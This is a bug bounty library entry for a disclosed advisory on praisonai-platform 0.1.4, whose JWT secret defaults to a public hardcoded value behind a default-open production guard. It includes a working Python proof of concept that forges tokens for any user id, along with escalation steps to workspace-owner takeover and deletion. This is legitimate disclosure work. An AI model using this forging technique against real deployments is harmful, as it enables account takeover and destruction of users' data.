# praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)

praisonai-platform 0.1.4 still signs and verifies JWTs with the public hardcoded secret 'dev-secret-change-me' because the production guard defaults open, letting anyone forge sessions for any user id.

- Payout: Research
- Severity: critical
- Program: praisonai-platform
- Found by: Yanchon918s
- Disclosed: 2026-06-18
- CVE: CVE-2026-57148
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f38v-77qj-h4jq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f38v-77qj-h4jq
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:jwt tech:python technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:misconfiguration vuln:privilege-escalation vuln:secrets-leak

**Target:** Python web API (FastAPI/uvicorn) JWT auth service
**Root cause:** JWT_SECRET falls back to the hardcoded literal 'dev-secret-change-me', and the guard meant to block this only raises when PLATFORM_ENV != 'dev' — but PLATFORM_ENV itself defaults to 'dev' and is set nowhere in shipped config. The 0.1.4 'fix' duplicated the same default-open predicate into _issue_token instead of failing closed.
**Steps:**
1. Install the supposedly patched release: `pip install --target ./pkgs praisonai-platform==0.1.4 PyJWT`
2. Ensure default deployment state: unset `PLATFORM_JWT_SECRET` and `PLATFORM_ENV`
3. Confirm module secret: `A.JWT_SECRET == 'dev-secret-change-me'`
4. Forge token with public secret: `jwt.encode({"sub": VICTIM_SUB, "email": ..., "exp": now+1h}, "dev-secret-change-me", algorithm="HS256")`
5. Feed forged token to the package's own `AuthService._verify_token`; it returns `AuthIdentity(id=VICTIM_SUB, type='user')`
6. Use the forged token as a Bearer credential against owner-gated routes such as `DELETE /workspaces/{workspace_id}`
**How found:** Auditing the prior advisory GHSA-3qg8's claimed fix at main HEAD; noticed the 0.1.4 change merely copied the same PLATFORM_ENV-gated predicate into _issue_token rather than failing closed, and that PLATFORM_ENV defaults to 'dev' and is set nowhere in shipped config — so the guard never fires in a default deployment.
**Exploitation:** Attacker reads the hardcoded secret from public source, mints an HS256 JWT with an arbitrary sub and future exp, and presents it as a session token. The verifier accepts it and downstream require_workspace_member/require_workspace_owner authorize purely on the forged sub, granting owner-level read/update/delete of workspace resources and member management. Targeting a specific owner requires knowing that owner's uuid4, obtainable by any co-member from GET /{workspace_id}/members.
**Escalation:** From unauthenticated bypass to workspace-owner takeover by forging an owner's sub (id harvested from member-list response, logs, or referrals), reaching DELETE /workspaces/{workspace_id} and member eviction for irrecoverable denial of the workspace.
**Insight:** When an advisory declares a version patched, diff the actual shipped artifact against the stated fix intent: here the 'fix' duplicated a guard whose disabling condition was the default value of an unset env var. Grep for the guard's gating variable across Dockerfiles/compose/docs — if it's set nowhere, the guard is dead code and the insecure default is the real production state.

## Proof of concept (copied exactly from the original report)

**Python PoC forging JWT with default secret**

```
import os, sys
os.environ.pop("PLATFORM_JWT_SECRET", None)   # default deployment: secret not set
os.environ.pop("PLATFORM_ENV", None)          # default deployment: env not set -> guard default-open
sys.path.insert(0, "./pkgs")

from datetime import datetime, timedelta, timezone
import jwt

VICTIM_SUB = "11111111-2222-4333-8444-deadbeefcafe"   # a target user/owner uuid4
now = datetime.now(timezone.utc)
forged = jwt.encode(
    {"sub": VICTIM_SUB, "email": "victim@target", "name": "victim",
     "iat": now, "exp": now + timedelta(hours=1)},
    "dev-secret-change-me", algorithm="HS256",       # the public hardcoded default
)

from praisonai_platform.services import auth_service as A
print("package JWT_SECRET (env unset) =", repr(A.JWT_SECRET), "| == default?", A.JWT_SECRET == "dev-secret-change-me")
identity = A.AuthService.__new__(A.AuthService)._verify_token(forged)   # the package's own verifier
print("package _verify_token(forged) =", identity)
assert identity is not None and identity.id == VICTIM_SUB
print("RESULT: CONFIRMED — forged token accepted as victim")
```

**Default-open guard code in auth_service.py**

```
DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )
```

**Command showing guard fires only with PLATFORM_ENV=prod**

```
PLATFORM_ENV=prod python3 -c "import praisonai_platform.services.auth_service"

  File ".../praisonai_platform/services/auth_service.py", line 31, in <module>
    raise RuntimeError(
RuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.
```

